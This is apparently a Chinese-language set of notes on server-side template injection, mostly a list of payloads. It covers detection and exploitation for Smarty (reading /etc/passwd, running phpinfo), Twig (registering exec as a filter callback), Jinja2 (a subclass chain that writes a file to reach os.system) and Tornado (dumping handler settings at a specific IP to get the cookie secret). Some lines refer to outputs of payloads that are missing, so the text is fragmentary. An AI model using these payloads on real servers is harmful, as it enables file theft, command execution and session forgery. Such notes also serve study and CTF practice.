SSTI
SSTI判断
1 | {{7+7}} |
输入会回显,判断回显值。
常用的模版引擎
smarty
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,但是在Smarty 3.1,{php}仅在SmartyBC中可用。
{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
在PHP5即可使用
1 | <script language="php">phpinfo();</script> |
静态方法:
1 | {self::getStreamVariable("file:///etc/passwd")} |
在3.1.30的Smarty版本中官方已经把该静态方法删除。利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。
if头:
1 | {if phpinfo()}{/if} |
twig
相比于 Smarty ,Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串,也就是我们不能使用 self::
调用静态变量了。
会输出49.
payload:
1 | {{_self.env.registerUndefinedFilterCallback("exec")}} |
flask/jinja2
49会输出7777777.
1 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }} |
tornado
1 | http://117.78.26.79:31093/error?msg={{handler.settings}} #获取环境变量,即可获得cookie |